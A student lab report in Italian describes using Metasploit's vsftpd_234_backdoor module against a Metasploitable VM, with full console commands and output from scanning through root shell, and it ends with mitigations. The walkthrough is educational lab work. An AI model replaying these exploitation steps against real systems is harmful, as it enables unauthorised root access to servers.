

Report Hacking con Metasploit: Sfruttamento vulnerabilità vsftpd 2.3.4

Data: 19/01/2026

Studente: Nicola Cassandra

Obiettivo: Verifica della sicurezza del servizio FTP su server Linux e simulazione di accesso non autorizzato.

Introduzione e Configurazione dell'Ambiente

L'attività ha avuto come scopo la simulazione di un attacco informatico verso la macchina virtuale target Metasploitable. Come da indicazione sulla macchina target è stato impostato un indirizzo IP statico specifico per renderla raggiungibile all'interno della rete locale simulata.

Configurazione IP Target:

- **IP Assegnato:** 192.168.1.149
- **Netmask:** /24 (255.255.255.0)

Ho verificato la comunicazione tra le macchine tramite un ping test.

```
(kali㉿kali)-[~]
$ ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=7.72 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=2.16 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=1.74 ms
64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=1.50 ms
64 bytes from 192.168.1.149: icmp_seq=5 ttl=64 time=1.82 ms
^C
--- 192.168.1.149 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4024ms
rtt min/avg/max/mdev = 1.498/2.986/7.720/2.376 ms
```

Metasploit Framework

Per l'esecuzione di questo test è stato utilizzato **Metasploit**, una piattaforma dedicata principalmente al penetration testing e alla ricerca in merito a vulnerabilità. Questo strumento è considerato uno standard da parte della comunità e la sua funzione principale è permettere ai professionisti della sicurezza di identificare, sfruttare e verificare le vulnerabilità presenti nei sistemi target. Metasploit si distingue per la sua vasta libreria di **exploit** e **payload** (codici che vengono eseguiti una volta ottenuto l'accesso, come ad esempio una shell di comando). Grazie alla sua versatilità e alla capacità di automatizzare test complessi, è lo strumento ideale per simulare attacchi reali in un ambiente controllato.

Analisi della Vulnerabilità

L'analisi si è concentrata sul servizio FTP attivo sulla porta standard **21**. Ho effettuato una scansione tramite lo strumento NMAP per verificare la versione del servizio tramite il comando nella schermata sottostante:

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.3.4
22/tcp	open	ssh	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp	open	telnet	Linux telnetd
25/tcp	open	smtp	Postfix smtpd
53/tcp	open	domain	ISC BIND 9.4.2
80/tcp	open	http	Apache httpd 2.2.8 ((Ubuntu) DAV/2)

Questa specifica versione è nota per contenere una grave vulnerabilità di tipo "Backdoor Command Execution". Quest'ultima, se sfruttata, permette a un attaccante esterno di ottenere l'esecuzione di comandi entrando con i privilegi più alti disponibili (ROOT).

Per procedere, ho avviato la console **MSFConsole** (l'interfaccia a riga di comando di Metasploit) e ho interrogato il database interno per cercare exploit relativi a questo servizio utilizzando il comando **search**.

Selezione e Configurazione dell'Exploit

Dalla ricerca è emerso un modulo specifico:
`exploit/unix/ftp/vsftpd_234_backdoor`

Ho caricato il modulo con il comando `use` e analizzato le opzioni richieste per il suo funzionamento tramite il comando `show options`.

La configurazione ha richiesto l'impostazione del parametro **RHOSTS** (Remote Host), che ho valorizzato con l'indirizzo IP della macchina vittima precedentemente configurato

(192.168.1.149). La porta target (**RPORT**) era già correttamente impostata di default sulla 21.

```
Matching Modules

#  Name                                Disclosure Date  Rank    Check  Description
-  auxiliary/dos/ftp/vsftpd_232          2011-02-03    normal  Yes    VSFTPD 2.3.2 Denial of Service
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03    excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > 

msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name   Current Setting  Required  Description
GHOST      no           The local client address
CPORT      no           The local client port
Proxies    no           A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS    yes          The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21          yes         The target port (TCP)

Exploit target:

Id  Name
--  --
0  Automatic

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > 

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name   Current Setting  Required  Description
CHOST      no           The local client address
CPORT      no           The local client port
Proxies    no           A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS    192.168.1.149 yes          The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21          yes         The target port (TCP)
```

Esecuzione dell'Attacco: Exploitation

Una volta terminata la configurazione, ho lanciato l'attacco tramite il comando **exploit**. Il framework ha inviato il payload verso il bersaglio. La vulnerabilità è stata sfruttata con successo: la backdoor presente nel codice di vsftpd si è aperta, garantendo l'accesso al sistema e l'apertura di una shell pronta all'utilizzo.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.149:37869 → 192.168.1.149:6200) at 2026-01-19 09:41:08 -0500

ifconfig
eth0    Link encap:Ethernet HWaddr 08:00:27:32:78:f3
        inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
        inet6 addr: fe80::a00:27ff:fe32:78f3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:1600 errors:0 dropped:0 overruns:0 frame:0
        TX packets:1531 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000
        RX bytes:133335 (130.2 KB)  TX bytes:159480 (155.7 KB)
        Base address:0xd020 Memory:f0200000-f0220000

lo     Link encap:Local Loopback
        inet addr:127.0.0.1  Mask:255.0.0.0
        inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
        RX packets:1708 errors:0 dropped:0 overruns:0 frame:0
        TX packets:1708 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:0
        RX bytes:796225 (777.5 KB)  TX bytes:796225 (777.5 KB)
```

Per confermare l'identità della macchina, ho eseguito il comando **ifconfig**, che ha confermato l'indirizzo IP **192.168.1.149**.

Post-Exploitation e Verifica Privilegi

Per completare l'obiettivo del test e dimostrare il livello di compromissione del sistema, è stata richiesta la creazione di una directory specifica. Poiché l'exploit fornisce accesso con privilegi di **root**, ho potuto agire direttamente sulla directory root(/).

Ho eseguito il comando `mkdir /test_metasploit` per creare la cartella richiesta. Successivamente, ho verificato la creazione della cartella e i permessi associati tramite il comando `ls -la` e il risultato ha confermato la presenza della directory `test_metasploit` e la sua appartenenza all'utente root, dimostrando il pieno controllo del sistema.

```
mkdir /test_metasploit
ls -la
total 101
drwxr-xr-x  22 root root  4096 2026-01-19 09:49 .
drwxr-xr-x  22 root root  4096 2026-01-19 09:49 ..
drwxr-xr-x   2 root root  4096 2012-05-13 22:35 bin
drwxr-xr-x   4 root root 1024  2012-05-13 22:36 boot
lrwxrwxrwx   1 root root   11 2010-04-28 15:26 cdrom → media/cdrom
drwxr-xr-x  14 root root 13540 2026-01-19 03:23 dev
drwxr-xr-x  94 root root  4096 2026-01-19 08:49 etc
drwxr-xr-x   6 root root  4096 2010-04-16 01:16 home
drwxr-xr-x   2 root root  4096 2010-03-16 17:57 initrd
lrwxrwxrwx   1 root root   32 2010-04-28 15:26 initrd.img → boot/initrd.img-2.6.24-16-server
drwxr-xr-x  13 root root  4096 2012-05-13 22:35 lib
drwxr-xr-x   2 root root 16384 2010-03-16 17:55 lost+found
drwxr-xr-x   4 root root  4096 2010-03-16 17:55 media
drwxr-xr-x   3 root root  4096 2010-04-28 15:16 mnt
-rw-r-----   1 root root 15915 2026-01-19 03:23 nohup.out
drwxr-xr-x   2 root root  4096 2010-03-16 17:57 opt
dr-xr-xr-x  112 root root    0 2026-01-19 03:23 proc
drwxr-xr-x   13 root root  4096 2026-01-19 03:23 root
drwxr-xr-x   2 root root  4096 2012-05-13 20:54 sbin
drwxr-xr-x   2 root root  4096 2010-03-16 17:57 srv
drwxr-xr-x  12 root root    0 2026-01-19 03:23 sys
drwxr-xr-x   2 root root  4096 2026-01-19 09:49 test_metasploit
drwxrwxrwt   6 root root  4096 2026-01-19 06:25 tmp
drwxr-xr-x  12 root root  4096 2010-04-27 23:06 usr
drwxr-xr-x  14 root root  4096 2010-03-17 09:08 var
lrwxrwxrwx   1 root root   29 2010-04-28 15:21 vmlinuz → boot/vmlinuz-2.6.24-16-server
```

Conclusioni

L'attacco ha dimostrato come un software non aggiornato (in questo caso una vecchia versione di vsftpd) possa compromettere l'intera sicurezza di un server. Per mitigare questo rischio le soluzioni sono:

1. Aggiornare il servizio FTP all'ultima versione stabile disponibile che non presenti la backdoor.
2. Implementare firewall per limitare l'accesso alla porta 21 solo agli indirizzi IP autorizzati.
3. Monitorare i log di sistema per rilevare tentativi di connessione anomali.